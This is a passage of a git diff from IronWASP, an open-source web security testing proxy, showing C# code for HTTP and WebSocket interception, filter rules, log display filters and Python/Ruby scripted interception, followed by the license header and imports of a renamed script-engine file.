+ { + IrSe.Response.Host = IrSe.Request.Host; + IrSe.OriginalResponse = IrSe.Response.GetClone(true); + + //If passive crawler is running then send this response for analysis + PassiveCrawler.CapturedCrawlResponse(IrSe); + + //If recording is going on then send this response to recorder for analysis + Recording.Recorder.AddHiddenFieldValues(IrSe); + + //If workflow recording is going on then send this request for analysis + Workflow.WorkflowScanner.CheckWorkflowResponse(IrSe); + + if(CanInterceptResponse(IrSe)) + { + IrSe.MSR = new ManualResetEvent(false); + IrSe.FiddlerSession.state = Fiddler.SessionStates.HandTamperResponse; + InterceptedSessions.Add(IrSe.ID + "-Response", IrSe); + IronUI.SendSessionToProxy(IrSe); + InterceptedSessions[IrSe.ID + "-Response"].MSR.WaitOne(); + InterceptedSessions.Remove(IrSe.ID + "-Response"); + + IrSe.UpdateFiddlerSessionFromIronSession(); + } + else if (ScriptedInterceptionEnabled) + { + IrSe.UpdateFiddlerSessionFromIronSession(); + } + else + { + IrSe.FiddlerSession.state = Fiddler.SessionStates.AutoTamperResponseBefore; + } + + + if (ScriptedInterceptionEnabled && ScInt.CallAfterInterception) + { + try + { + ScInt.AfterInterception = true; + ScInt.ShouldIntercept(IrSe); + } + catch (Exception Exp) + { + IronUI.ShowProxyException("Error in Scripted Interception Script"); + IronException.Report("Error in Scripted Interception Script", Exp); + } + ScInt.AfterInterception = false; + IrSe.UpdateFiddlerSessionFromIronSession(); + } + + if (IronProxy.WasResponseChanged(IrSe)) + { + Response ClonedResponse = IrSe.Response.GetClone(true); + //IronUpdater.AddProxyResponsesAfterEdit(IrSe.OriginalResponse.GetClone(true), ClonedResponse); + //IronUI.UpdateEditedProxyLogResponseEntry(ClonedResponse); + IronUpdater.AddProxyResponses(new Response[] { IrSe.OriginalResponse, IrSe.Response }); + } + else + { + IronUpdater.AddProxyResponses(new Response[] { null, IrSe.Response }); + } + } + + if (PluginEngine.ShouldRunResponseBasedPassivePlugins()) + { + try + { + PluginEngine.RunAllResponseBasedInlinePassivePlugins(IrSe); + IrSe.UpdateFiddlerSessionFromIronSession(); + } + catch (Exception Exp) + { + IronException.Report("Error running 'BeforeInterception' Passive plugins on Response", Exp.Message, Exp.StackTrace); + } + } + JavaScriptTracer.ProcessSession(IrSe); + } + + internal static void OnWebSocketMessage(object sender, Fiddler.WebSocketMessageEventArgs e) + { + Fiddler.Session Sess = (Fiddler.Session)sender; + Session WsSess = new Session(Sess); + int ID = Config.GetNewId("WebSocket"); + WsSess.Request.ID = ID; + WsSess.Response.ID = ID; + WsSess.Request.Source = "WebSocket"; + WsSess.Response.Source = "WebSocket"; + WsSess.Request.Headers.Set("IW-WS-SocketID", Sess.id.ToString()); + WsSess.Request.Headers.Set("IW-WS-SocketMsgID", e.oWSM.ID.ToString()); + if (e.oWSM.IsOutbound) + { + //WsSess.Request.BodyArray = new byte[e.oWSM.PayloadData.Length]; + //e.oWSM.PayloadData.CopyTo(WsSess.Request.BodyArray, 0); + WsSess.Request.BodyArray = e.oWSM.PayloadAsBytes(); + IronUpdater.AddOtherSourceRequest(WsSess.Request); + } + else + { + IronUpdater.AddOtherSourceRequest(WsSess.Request); + //WsSess.Response.BodyArray = new byte[e.oWSM.PayloadData.Length]; + //e.oWSM.PayloadData.CopyTo(WsSess.Response.BodyArray, 0); + WsSess.Response.BodyArray = e.oWSM.PayloadAsBytes(); + IronUpdater.AddOtherSourceResponse(WsSess.Response); + } + + if (CanInterceptRequest(WsSess)) + { + /* + WsSess.MSR = new ManualResetEvent(false); + if (e.oWSM.IsOutbound) + { + WsSess.FiddlerSession.state = Fiddler.SessionStates.HandTamperRequest; + InterceptedSessions.Add(WsSess.ID + "-Request", WsSess); + } + else + { + WsSess.FiddlerSession.state = Fiddler.SessionStates.HandTamperResponse; + InterceptedSessions.Add(WsSess.ID + "-Response", WsSess); + } + IronUI.SendSessionToProxy(WsSess); + if (e.oWSM.IsOutbound) + { + InterceptedSessions[WsSess.ID + "-Request"].MSR.WaitOne(); + InterceptedSessions.Remove(WsSess.ID + "-Request"); + e.oWSM.SetPayload(WsSess.Request.BodyArray); + } + else + { + InterceptedSessions[WsSess.ID + "-Response"].MSR.WaitOne(); + InterceptedSessions.Remove(WsSess.ID + "-Response"); + e.oWSM.SetPayload(WsSess.Response.BodyArray); + } + */ + if (e.oWSM.IsOutbound) + { + e.oWSM.SetPayload(WsSess.Request.BodyArray); + } + else + { + e.oWSM.SetPayload(WsSess.Response.BodyArray); + } + } + } + + internal static bool WasRequestChanged(Session Sess) + { + try + { + return !Sess.Request.ToString().Equals(Sess.OriginalRequest.ToString()); + } + catch { return true; } + } + internal static bool WasResponseChanged(Session Sess) + { + try + { + string ResStr = Sess.Response.ToString(); + string OriResStr = Sess.OriginalResponse.ToString(); + if (ResStr.Equals(OriResStr)) + { + return false; + } + else + { + return true; + } + } + catch { return true; } + } + + //internal static void UpdateCurrentSessionWithNewRequestHeader(string HeaderString) + //{ + // string NewRequestHeaders = HeaderString.TrimEnd(new char[]{'\r','\n'}); + // NewRequestHeaders += "\r\n\r\n"; + // IronProxy.CurrentSession.Request = new Request(NewRequestHeaders, IronProxy.CurrentSession.Request.SSL, false); + // IronProxy.CurrentSession.Request.ID = IronProxy.CurrentSession.OriginalRequest.ID; + // byte[] OldBody = new byte[IronProxy.CurrentSession.OriginalRequest.BodyArray.Length]; + // IronProxy.CurrentSession.OriginalRequest.BodyArray.CopyTo(OldBody, 0); + // IronProxy.CurrentSession.Request.BodyArray = OldBody; + // IronProxy.CurrentSession.FiddlerSession.oRequest.headers.AssignFromString(IronProxy.CurrentSession.Request.GetHeadersAsString()); + //} + + //internal static void UpdateFiddlerSessionWithNewRequestHeader() + //{ + // IronProxy.CurrentSession.FiddlerSession.oRequest.headers.AssignFromString(IronProxy.CurrentSession.Request.GetHeadersAsString()); + //} + + //internal static void UpdateCurrentSessionWithNewRequestBodyText(string BodyString) + //{ + // if (IronProxy.CurrentSession.Request.IsBinary) + // { + // IronProxy.CurrentSession.Request.BodyArray = Encoding.UTF8.GetBytes(BodyString); + // } + // else + // { + // IronProxy.CurrentSession.Request.BodyString = BodyString; + // } + // IronProxy.CurrentSession.FiddlerSession.utilSetRequestBody(IronProxy.CurrentSession.Request.BodyString); + //} + + //internal static void UpdateFiddlerSessionWithNewRequestBody() + //{ + // IronProxy.CurrentSession.FiddlerSession.utilSetRequestBody(IronProxy.CurrentSession.Request.BodyString); + //} + + internal static void UpdateCurrentSessionWithNewRequest(Request Req) + { + IronProxy.CurrentSession.Request = Req; + IronProxy.CurrentSession.Request.ID = IronProxy.CurrentSession.OriginalRequest.ID; + //UpdateFiddlerSessionWithNewRequest(); + } + + //internal static void UpdateFiddlerSessionWithNewRequest() + //{ + // IronProxy.CurrentSession.FiddlerSession.oRequest.headers.AssignFromString(IronProxy.CurrentSession.Request.GetHeadersAsString()); + // IronProxy.CurrentSession.FiddlerSession.requestBodyBytes = IronProxy.CurrentSession.Request.BodyArray; + //} + + //internal static void UpdateCurrentSessionWithNewResponseHeader(string HeaderString) + //{ + // string NewResponseHeaders = HeaderString.TrimEnd(new char[]{'\r','\n'}); + // NewResponseHeaders += "\r\n\r\n"; + // IronProxy.CurrentSession.Response = new Response(NewResponseHeaders); + // IronProxy.CurrentSession.Response.ID = IronProxy.CurrentSession.OriginalResponse.ID; + // IronProxy.CurrentSession.Response.BodyArray = new byte[IronProxy.CurrentSession.OriginalResponse.BodyArray.Length]; + // IronProxy.CurrentSession.OriginalResponse.BodyArray.CopyTo(IronProxy.CurrentSession.Response.BodyArray, 0); + // IronProxy.CurrentSession.FiddlerSession.oResponse.headers.AssignFromString(IronProxy.CurrentSession.Response.GetHeadersAsString()); + //} + + //internal static void UpdateCurrentSessionWithNewResponseBodyText(string BodyString) + //{ + // IronProxy.CurrentSession.Response.BodyString = BodyString; + // IronProxy.CurrentSession.FiddlerSession.utilSetResponseBody(IronProxy.CurrentSession.Response.BodyString); + //} + + internal static void UpdateCurrentSessionWithNewResponse(Response Res) + { + IronProxy.CurrentSession.Response = Res; + IronProxy.CurrentSession.Response.ID = IronProxy.CurrentSession.OriginalResponse.ID; + //UpdateFiddlerSessionWithNewResponse(); + } + + //internal static void UpdateFiddlerSessionWithNewResponse() + //{ + // IronProxy.CurrentSession.FiddlerSession.oResponse.headers.AssignFromString(IronProxy.CurrentSession.Response.GetHeadersAsString()); + // IronProxy.CurrentSession.FiddlerSession.responseBodyBytes = IronProxy.CurrentSession.Response.BodyArray; + //} + + internal static void ForwardInterceptedMessage() + { + if (IronProxy.ManualTamperingFree == true) + { + return; + } + string ID = IronProxy.CurrentSession.ID.ToString(); + if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) + { + ID = ID + "-Request"; + } + else + { + ID = ID + "-Response"; + } + IronProxy.InterceptedSessions[ID].MSR.Set(); + IronUI.ResetProxyInterceptionFields(); + IronProxy.ManualTamperingFree = true; + IronProxy.CurrentSession = null; + } + + internal static void DropInterceptedMessage() + { + if (IronProxy.ManualTamperingFree == true) + { + return; + } + string ID = IronProxy.CurrentSession.ID.ToString(); + if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) + { + ID = ID + "-Request"; + IronProxy.InterceptedSessions[ID].MSR.Set(); + IronProxy.CurrentSession.FiddlerSession.oRequest.FailSession(200, "OK", "Request Dropped By the User"); + } + else + { + ID = ID + "-Response"; + IronProxy.CurrentSession.FiddlerSession.utilSetResponseBody("Response Dropped By the User"); + IronProxy.CurrentSession.FiddlerSession.responseCode = 200; + IronProxy.InterceptedSessions[ID].MSR.Set(); + } + IronUI.ResetProxyInterceptionFields(); + IronProxy.ManualTamperingFree = true; + IronProxy.CurrentSession = null; + } + + internal static void ClearRequestQueue() + { + List IronProxySessionsQ = new List(); + List IronProxyRequestQ = new List(); + List IronProxyResponseQ = new List(); + lock (IronProxy.SessionsQ) + { + IronProxySessionsQ = new List(IronProxy.SessionsQ.ToArray()); + IronProxy.SessionsQ.Clear(); + } + foreach (string SessionID in IronProxySessionsQ) + { + if (SessionID.EndsWith("-Request")) + { + IronProxyRequestQ.Add(SessionID); + } + else + { + IronProxyResponseQ.Add(SessionID); + } + } + lock (IronProxy.InterceptedSessions) + { + foreach(string SessionID in IronProxyRequestQ) + { + IronProxy.InterceptedSessions[SessionID].MSR.Set(); + } + } + lock (IronProxy.SessionsQ) + { + foreach (string SessionID in IronProxyResponseQ) + { + IronProxy.SessionsQ.Enqueue(SessionID); + } + } + } + + internal static void ClearResponseQueue() + { + List IronProxySessionsQ = new List(); + List IronProxyRequestQ = new List(); + List IronProxyResponseQ = new List(); + lock (IronProxy.SessionsQ) + { + IronProxySessionsQ = new List(IronProxy.SessionsQ.ToArray()); + IronProxy.SessionsQ.Clear(); + } + foreach (string SessionID in IronProxySessionsQ) + { + if (SessionID.EndsWith("-Response")) + { + IronProxyResponseQ.Add(SessionID); + } + else + { + IronProxyRequestQ.Add(SessionID); + } + } + lock (IronProxy.InterceptedSessions) + { + foreach (string SessionID in IronProxyResponseQ) + { + IronProxy.InterceptedSessions[SessionID].MSR.Set(); + } + } + lock (IronProxy.SessionsQ) + { + foreach (string SessionID in IronProxyRequestQ) + { + IronProxy.SessionsQ.Enqueue(SessionID); + } + } + } + + static bool CanInterceptRequest(Session Sess) + { + if (ScriptedInterceptionEnabled) + { + try + { + return ScInt.ShouldIntercept(Sess); + } + catch(Exception Exp) + { + IronUI.ShowProxyException("Error in Scripted Interception Script"); + IronException.Report("Error in Scripted Interception Script", Exp); + return false; + } + } + else if (InterceptRequest) + { + return CanInterceptBasedOnFilter(Sess.Request); + } + else + { + return false; + } + } + + internal static bool CanInterceptBasedOnFilter(Request Req) + { + //Check Hostnames + if (InterceptCheckHostNames) + { + if (InterceptCheckHostNamesPlus && InterceptHostNames.Count > 0) + { + bool Match = false; + foreach (string HostName in InterceptHostNames) + { + if (Req.Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) + { + Match = true; + break; + } + } + if (!Match) + { + return false; + } + } + if (InterceptCheckHostNamesMinus && DontInterceptHostNames.Count > 0) + { + foreach (string HostName in DontInterceptHostNames) + { + if (Req.Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) + { + return false; + } + } + } + } + + //Check Methods Rule + if (!InterceptGET) + { + if (Req.Method.Equals("GET", StringComparison.CurrentCultureIgnoreCase)) + { + return false; + } + } + if (!InterceptPOST) + { + if (Req.Method.Equals("POST", StringComparison.CurrentCultureIgnoreCase)) + { + return false; + } + } + if (!InterceptOtherMethods) + { + if (!(Req.Method.Equals("GET", StringComparison.CurrentCultureIgnoreCase) || Req.Method.Equals("POST", StringComparison.CurrentCultureIgnoreCase))) + { + return false; + } + } + + //Check File Extensions + Req.StoredFile = Req.File; + if (InterceptCheckFileExtensions && Req.StoredFile.Length > 0) + { + if (InterceptCheckFileExtensionsPlus && InterceptFileExtensions.Count > 0) + { + bool Match = false; + foreach (string File in InterceptFileExtensions) + { + if (Req.StoredFile.Equals(File, StringComparison.InvariantCultureIgnoreCase)) + { + Match = true; + break; + } + } + if (!Match) + { + return false; + } + } + if (InterceptCheckFileExtensionsMinus && DontInterceptFileExtensions.Count > 0) + { + foreach (string File in DontInterceptFileExtensions) + { + if (Req.StoredFile.Equals(File, StringComparison.InvariantCultureIgnoreCase)) + { + return false; + } + } + } + } + + //Check Keyword + if (InterceptCheckRequestWithKeyword) + { + if (InterceptCheckRequestWithKeywordPlus && InterceptRequestWithKeyword.Length > 0) + { + if (!Req.ToString().Contains(InterceptRequestWithKeyword)) + { + return false; + } + } + if (InterceptCheckRequestWithKeywordMinus && DontInterceptRequestWithKeyword.Length > 0) + { + if (Req.ToString().Contains(DontInterceptRequestWithKeyword)) + { + return false; + } + } + } + return true; + } + + static bool CanInterceptResponse(Session Sess) + { + if (ScriptedInterceptionEnabled) + { + try + { + return ScInt.ShouldIntercept(Sess); + } + catch (Exception Exp) + { + IronUI.ShowProxyException("Error in Scripted Interception Script"); + IronException.Report("Error in Scripted Interception Script", Exp); + return false; + } + } + else if (InterceptResponse) + { + return CanInterceptBasedOnFilter(Sess.Request, Sess.Response); + } + else + { + return false; + } + } + + internal static bool CanInterceptBasedOnFilter(Request Req, Response Res) + { + if (RequestRulesOnResponse) + { + if (!CanInterceptBasedOnFilter(Req)) return false; + } + + //Check Hostnames + if (InterceptCheckHostNames) + { + if (InterceptCheckHostNamesPlus && InterceptHostNames.Count > 0) + { + bool Match = false; + foreach (string HostName in InterceptHostNames) + { + if (Res.Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) + { + Match = true; + break; + } + } + if (!Match) + { + return false; + } + } + if (InterceptCheckHostNamesMinus && DontInterceptHostNames.Count > 0) + { + foreach (string HostName in DontInterceptHostNames) + { + if (Res.Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) + { + return false; + } + } + } + } + + //Check Methods Rule + int Code = Res.Code; + switch (Code) + { + case 200: + if (!Intercept200) + return false; + break; + case 301: + case 302: + if (!Intercept301_2) + return false; + break; + case 403: + if (!Intercept403) + return false; + break; + case 500: + if (!Intercept500) + return false; + break; + default: + if (Code > 199 && Code < 300) + { + if (!Intercept2xx) + return false; + } + else if (Code > 299 && Code < 400) + { + if (!Intercept3xx) + return false; + } + else if (Code > 399 && Code < 500) + { + if (!Intercept500) + return false; + } + else if (Code > 499 && Code < 600) + { + if (!Intercept5xx) + return false; + } + break; + } + + if (Res.BodyLength > 0) + { + if (Res.ContentType.ToLower().Contains("html")) + { + if (!InterceptHTML) return false; + } + else if (Res.ContentType.ToLower().Contains("css")) + { + if (!InterceptCSS) return false; + } + else if (Res.ContentType.ToLower().Contains("javascript")) + { + if (!InterceptJS) return false; + } + else if (Res.ContentType.ToLower().Contains("xml")) + { + if (!InterceptXML) return false; + } + else if (Res.ContentType.ToLower().Contains("json")) + { + if (!InterceptJSON) return false; + } + else if (Res.ContentType.ToLower().Contains("text")) + { + if (!InterceptOtherText) return false; + } + else if (Res.ContentType.ToLower().Contains("jpg") || Res.ContentType.ToLower().Contains("png") || Res.ContentType.ToLower().Contains("jpeg") || Res.ContentType.ToLower().Contains("gif") || Res.ContentType.ToLower().Contains("ico")) + { + if (!InterceptImg) return false; + } + else + { + if (!InterceptOtherBinary) return false; + } + } + + //Check Keyword + if (InterceptCheckResponseWithKeyword) + { + if (InterceptCheckResponseWithKeywordPlus && InterceptResponseWithKeyword.Length > 0) + { + if (!Res.ToString().Contains(InterceptResponseWithKeyword)) + { + return false; + } + } + if (InterceptCheckResponseWithKeywordMinus && DontInterceptResponseWithKeyword.Length > 0) + { + if (Res.ToString().Contains(DontInterceptResponseWithKeyword)) + { + return false; + } + } + } + + return true; + } + + internal static bool CanDisplayRowInLogDisplay(string Method, string Host, string FileExtension, int Code, string ContentType, bool IgnoreContentType) + { + if (Method != null) + { + if (!DisplayGET) + { + if (Method.Equals("GET", StringComparison.CurrentCultureIgnoreCase)) + { + return false; + } + } + if (!DisplayPOST) + { + if (Method.Equals("POST", StringComparison.CurrentCultureIgnoreCase)) + { + return false; + } + } + if (!DisplayOtherMethods) + { + if (!(Method.Equals("GET", StringComparison.CurrentCultureIgnoreCase) || Method.Equals("POST", StringComparison.CurrentCultureIgnoreCase))) + { + return false; + } + } + } + if (Host != null) + { + if (DisplayCheckHostNames) + { + if (DisplayCheckHostNamesPlus && DisplayHostNames.Count > 0) + { + bool Match = false; + foreach (string HostName in DisplayHostNames) + { + if (Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) + { + Match = true; + break; + } + } + if (!Match) + { + return false; + } + } + if (DisplayCheckHostNamesMinus && DontDisplayHostNames.Count > 0) + { + foreach (string HostName in DontDisplayHostNames) + { + if (Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) + { + return false; + } + } + } + } + } + if (FileExtension != null) + { + if (DisplayCheckFileExtensions && FileExtension.Length > 0) + { + if (DisplayCheckFileExtensionsPlus && DisplayFileExtensions.Count > 0) + { + bool Match = false; + foreach (string File in DisplayFileExtensions) + { + if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) + { + Match = true; + break; + } + } + if (!Match) + { + return false; + } + } + if (DisplayCheckFileExtensionsMinus && DontDisplayFileExtensions.Count > 0) + { + foreach (string File in DontDisplayFileExtensions) + { + if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) + { + return false; + } + } + } + } + } + if (Code > 0) + { + switch (Code) + { + case 200: + if (!Display200) + return false; + break; + case 301: + case 302: + if (!Display301_2) + return false; + break; + case 403: + if (!Display403) + return false; + break; + case 500: + if (!Display500) + return false; + break; + default: + if (Code > 199 && Code < 300) + { + if (!Display2xx) + return false; + } + else if (Code > 299 && Code < 400) + { + if (!Display3xx) + return false; + } + else if (Code > 399 && Code < 500) + { + if (!Display500) + return false; + } + else if (Code > 499 && Code < 600) + { + if (!Display5xx) + return false; + } + break; + } + } + if (ContentType != null && !IgnoreContentType) + { + if (ContentType.ToLower().Contains("html")) + { + if (!DisplayHTML) return false; + } + else if (ContentType.ToLower().Contains("css")) + { + if (!DisplayCSS) return false; + } + else if (ContentType.ToLower().Contains("javascript")) + { + if (!DisplayJS) return false; + } + else if (ContentType.ToLower().Contains("xml")) + { + if (!DisplayXML) return false; + } + else if (ContentType.ToLower().Contains("json")) + { + if (!DisplayJSON) return false; + } + else if (ContentType.ToLower().Contains("text")) + { + if (!DisplayOtherText) return false; + } + else if (ContentType.ToLower().Contains("jpg") || ContentType.ToLower().Contains("png") || ContentType.ToLower().Contains("jpeg") || ContentType.ToLower().Contains("gif") || ContentType.ToLower().Contains("ico")) + { + if (!DisplayImg) return false; + } + else + { + if (!DisplayOtherBinary) return false; + } + } + return true; + } + + + internal static string SetPyScriptedInterception(string FunctionCode) + { + ScriptEngine Engine = Python.CreateEngine(); + StringBuilder FullCode = new StringBuilder(); + FullCode.AppendLine("from IronWASP import *"); + FullCode.AppendLine("import re"); + FullCode.AppendLine("class si(ScriptedInterceptor):"); + FullCode.AppendLine(" def ShouldIntercept(self, sess):"); + string[] CodeLines = FunctionCode.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + foreach (string Line in CodeLines) + { + FullCode.Append(" "); + FullCode.AppendLine(Line); + } + FullCode.AppendLine(" return False"); + FullCode.AppendLine(""); + FullCode.AppendLine(""); + FullCode.AppendLine("s = si();"); + FullCode.AppendLine("IronProxy.SetScriptedInterceptor(s)"); + return SetScriptedSend(Engine, FullCode.ToString()); + } + + internal static string SetRbScriptedInterception(string FunctionCode) + { + ScriptEngine Engine = Ruby.CreateEngine(); + StringBuilder FullCode = new StringBuilder(); + FullCode.AppendLine("include IronWASP"); + FullCode.AppendLine("class SI < ScriptedInterceptor"); + FullCode.AppendLine(" def ShouldIntercept(sess)"); + string[] CodeLines = FunctionCode.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + foreach (string Line in CodeLines) + { + FullCode.Append(" "); + FullCode.AppendLine(Line); + } + FullCode.AppendLine(" return false"); + FullCode.AppendLine(" end"); + FullCode.AppendLine("end"); + FullCode.AppendLine(""); + FullCode.AppendLine("s = SI.new"); + FullCode.AppendLine("IronProxy.set_scripted_interceptor(s)"); + return SetScriptedSend(Engine, FullCode.ToString()); + } + + internal static string SetScriptedSend(ScriptEngine Engine, string Code) + { + try + { + ScriptRuntime Runtime = Engine.Runtime; + Assembly MainAssembly = Assembly.GetExecutingAssembly(); + string RootDir = Directory.GetParent(MainAssembly.Location).FullName; + Runtime.LoadAssembly(MainAssembly); + Runtime.LoadAssembly(typeof(String).Assembly); + Runtime.LoadAssembly(typeof(Uri).Assembly); + + if (Engine.Setup.DisplayName.Contains("IronPython")) + { + string[] Results = PluginEditor.CheckPythonIndentation(Code); + if (Results[1].Length > 0) + { + throw new Exception(Results[1]); + } + } + + ScriptSource Source = Engine.CreateScriptSourceFromString(Code); + Source.ExecuteProgram(); + return ""; + } + catch (Exception Exp) + { + return Exp.Message; + } + } + public static void SetScriptedInterceptor(ScriptedInterceptor ScIn) + { + IronProxy.ScInt = ScIn; + } + + + internal static void ResetChangedStatus() + { + ResetNonParameterChangedStatus(); + ResetParametersChangedStatus(); + RequestChanged = false; + ResponseChanged = false; + } + internal static void ResetNonParameterChangedStatus() + { + RequestHeaderChanged = false; + RequestBodyChanged = false; + ResponseHeaderChanged = false; + ResponseBodyChanged = false; + } + internal static void ResetParametersChangedStatus() + { + RequestQueryParametersChanged = false; + RequestBodyParametersChanged = false; + RequestCookieParametersChanged = false; + RequestHeaderParametersChanged = false; + } + + //internal static void StartDeSerializingRequestBody(Request Request, FormatPlugin Plugin) + //{ + // BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin); + // RequestFormatThread = new Thread(IronProxy.DeSerializeRequestBody); + // RequestFormatThread.Start(BFP); + //} + + //internal static void DeSerializeRequestBody(object BFPObject) + //{ + // string PluginName = ""; + // try + // { + // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; + // Request Request = BFP.Request; + // FormatPlugin Plugin = BFP.Plugin; + // PluginName = Plugin.Name; + + // string XML = Plugin.ToXmlFromRequest(Request); + // IronUI.FillProxyRequestFormatXML(XML); + // } + // catch (ThreadAbortException) + // { + // // + // } + // catch (Exception Exp) + // { + // IronException.Report("Error Deserializing 'Proxy' Request using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); + // IronUI.ShowProxyException("Error Deserializing"); + // } + //} + + //internal static void StartSerializingRequestBody(Request Request, FormatPlugin Plugin, string XML) + //{ + // BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin, XML); + // RequestFormatThread = new Thread(IronProxy.SerializeRequestBody); + // RequestFormatThread.Start(BFP); + //} + + //internal static void SerializeRequestBody(object BFPObject) + //{ + // string PluginName = ""; + // try + // { + // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; + // Request Request = BFP.Request; + // FormatPlugin Plugin = BFP.Plugin; + // PluginName = Plugin.Name; + // string XML = BFP.XML; + + // Request = Plugin.ToRequestFromXml(Request, XML); + // IronProxy.CurrentSession.Request = Request; + // IronProxy.UpdateFiddlerSessionWithNewRequest(); + // IronUI.FillProxyRequestWithNewRequestFromFormatXML(Request, PluginName); + // } + // catch (ThreadAbortException) + // { + // // + // } + // catch (Exception Exp) + // { + // IronException.Report("Error Serializing 'Proxy' Request using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); + // IronUI.ShowProxyException("Error Serializing"); + // } + //} + + //internal static void StartDeSerializingResponseBody(Response Response, FormatPlugin Plugin) + //{ + // BodyFormatParamters BFP = new BodyFormatParamters(Response, Plugin); + // ResponseFormatThread = new Thread(IronProxy.DeSerializeResponseBody); + // ResponseFormatThread.Start(BFP); + //} + + //internal static void DeSerializeResponseBody(object BFPObject) + //{ + // string PluginName = ""; + // try + // { + // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; + // Response Response = BFP.Response; + // FormatPlugin Plugin = BFP.Plugin; + // PluginName = Plugin.Name; + + // string XML = Plugin.ToXmlFromResponse(Response); + // IronUI.FillProxyResponseFormatXML(XML); + // } + // catch (ThreadAbortException) + // { + // // + // } + // catch (Exception Exp) + // { + // IronException.Report("Error Deserializing 'Proxy' Response using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); + // IronUI.ShowProxyException("Error Deserializing"); + // } + //} + + //internal static void StartSerializingResponseBody(Response Response, FormatPlugin Plugin, string XML) + //{ + // BodyFormatParamters BFP = new BodyFormatParamters(Response, Plugin, XML); + // ResponseFormatThread = new Thread(IronProxy.SerializeResponseBody); + // ResponseFormatThread.Start(BFP); + //} + + //internal static void SerializeResponseBody(object BFPObject) + //{ + // string PluginName = ""; + // try + // { + // BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; + // Response Response = BFP.Response; + // FormatPlugin Plugin = BFP.Plugin; + // PluginName = Plugin.Name; + // string XML = BFP.XML; + // IronProxy.CurrentSession.Response = Response; + // Response = Plugin.ToResponseFromXml(Response, XML); + // IronProxy.UpdateFiddlerSessionWithNewResponse(); + // IronUI.FillProxyResponseWithNewResponseFromFormatXML(Response, PluginName); + // } + // catch (ThreadAbortException) + // { + // // + // } + // catch (Exception Exp) + // { + // IronException.Report("Error Serializing Proxy Response using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); + // IronUI.ShowProxyException("Error Serializing"); + // } + //} + //internal static void TerminateAllFormatThreads() + //{ + // TerminateRequestFormatThreads(); + // TerminateResponseFormatThreads(); + //} + //internal static void TerminateRequestFormatThreads() + //{ + // if (RequestFormatThread != null) + // { + // try { RequestFormatThread.Abort(); } + // catch { } + // finally { RequestFormatThread = null; } + // } + //} + //internal static void TerminateResponseFormatThreads() + //{ + // if (ResponseFormatThread != null) + // { + // try { ResponseFormatThread.Abort(); } + // catch { } + // finally { ResponseFormatThread = null; } + // } + //} + + //This method uses a hack since FiddlerCore does not expose the _isDirectRequestToFiddler() method in the Session class. + internal static bool IsCallToIronwaspApi(Fiddler.Session Sess) + { + if (Sess.oRequest.headers.Exists("X-Ironwasp-Api-Call")) + { + return true; + } + if (Sess.port != IronProxy.Port) + { + return false; + } + if (!Sess.url.Substring(Sess.url.IndexOf("/")).StartsWith("/IronWASP/API/", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + if (ApiCallHostNames.Contains(Sess.host)) + { + return true; + } + Request EchoCheckReq = new Request(Sess.fullUrl); + EchoCheckReq.Url = "/fiddler_echo_check"; + EchoCheckReq.Source = RequestSource.Stealth; + try + { + Response EchoCheckResponse = EchoCheckReq.Send(1000); + if (EchoCheckResponse.Status == "Fiddler Generated" && EchoCheckResponse.Html.Title == "Fiddler Echo Service") + { + lock (ApiCallHostNames) + { + ApiCallHostNames.Add(Sess.host); + } + return true; + } + else + { + return false; + } + } + catch + { + return false; + } + } + + internal static bool ValidProxyPort(string Port) + { + try + { + int IntPort = Int32.Parse(Port); + return ValidProxyPort(IntPort); + } + catch + { + return false; + } + } + + internal static bool ValidProxyPort(int Port) + { + + if (Port > 0 && Port < 65536) + { + return true; + } + else + { + return false; + } + } + + internal static bool ValidPort(string Port) + { + try + { + int IntPort = Int32.Parse(Port); + return ValidPort(IntPort); + } + catch + { + return false; + } + } + + internal static bool ValidPort(int Port) + { + + if (Port > 0 && Port < 65536) + { + return true; + } + else + { + return false; + } + } + } +} diff --git a/IronWASP/IronScriptEngine.cs b/Iron/IronScriptEngine.cs similarity index 97% rename from IronWASP/IronScriptEngine.cs rename to Iron/IronScriptEngine.cs index 1a2fc53..e108c09 100644 --- a/IronWASP/IronScriptEngine.cs +++ b/Iron/IronScriptEngine.cs @@ -1,66 +1,66 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Data.SQLite; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; -using System.Reflection; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; - -namespace IronWASP -{ 